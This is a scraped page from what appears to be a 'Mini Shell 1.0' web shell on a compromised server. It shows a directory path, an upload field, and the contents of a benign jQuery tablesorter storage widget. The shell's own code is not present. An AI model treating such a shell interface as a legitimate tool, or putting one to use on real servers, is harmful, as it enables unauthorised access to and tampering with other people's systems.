HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /proc/1780863/root/usr/share/javascript/jquery-tablesorter/js/widgets/
Upload File :
Current File : //proc/1780863/root/usr/share/javascript/jquery-tablesorter/js/widgets/widget-storage.min.js
(function(factory){if (typeof define === 'function' && define.amd){define(['jquery'], factory);} else if (typeof module === 'object' && typeof module.exports === 'object'){module.exports = factory(require('jquery'));} else {factory(jQuery);}}(function(jQuery){

/*! Widget: storage - updated 2018-03-18 (v2.30.0) */
!function(u,S,c){"use strict";var _=u.tablesorter||{};u.extend(!0,_.defaults,{fixedUrl:"",widgetOptions:{storage_fixedUrl:"",storage_group:"",storage_page:"",storage_storageType:"",storage_tableId:"",storage_useSessionStorage:""}}),_.storage=function(e,t,r,o){var s=!1,a={},i=(e=u(e)[0]).config,g=i&&i.widgetOptions,n=_.debug(i,"storage"),p=(o&&o.storageType||g&&g.storage_storageType).toString().charAt(0).toLowerCase(),l=p?"":o&&o.useSessionStorage||g&&g.storage_useSessionStorage,d=u(e),e=o&&o.id||d.attr(o&&o.group||g&&g.storage_group||"data-table-group")||g&&g.storage_tableId||e.id||u(".tablesorter").index(d),i=o&&o.url||d.attr(o&&o.page||g&&g.storage_page||"data-table-page")||g&&g.storage_fixedUrl||i&&i.fixedUrl||S.location.pathname;if("c"!==p&&(p="s"===p||l?"sessionStorage":"localStorage")in S)try{S[p].setItem("_tmptest","temp"),s=!0,S[p].removeItem("_tmptest")}catch(e){console.warn(p+" is not supported in this browser")}if(n&&console.log("Storage >> Using",s?p:"cookies"),u.parseJSON&&(a=s?u.parseJSON(S[p][t]||"null")||{}:(l=c.cookie.split(/[;\s|=]/),0!==(n=u.inArray(t,l)+1)&&u.parseJSON(l[n]||"null")||{})),void 0===r||!S.JSON||!JSON.hasOwnProperty("stringify"))return a&&a[i]?a[i][e]:"";a[i]||(a[i]={}),a[i][e]=r,s?S[p][t]=JSON.stringify(a):((p=new Date).setTime(p.getTime()+31536e6),c.cookie=t+"="+JSON.stringify(a).replace(/\"/g,'"')+"; expires="+p.toGMTString()+"; path=/")}}(jQuery,window,document);return jQuery;}));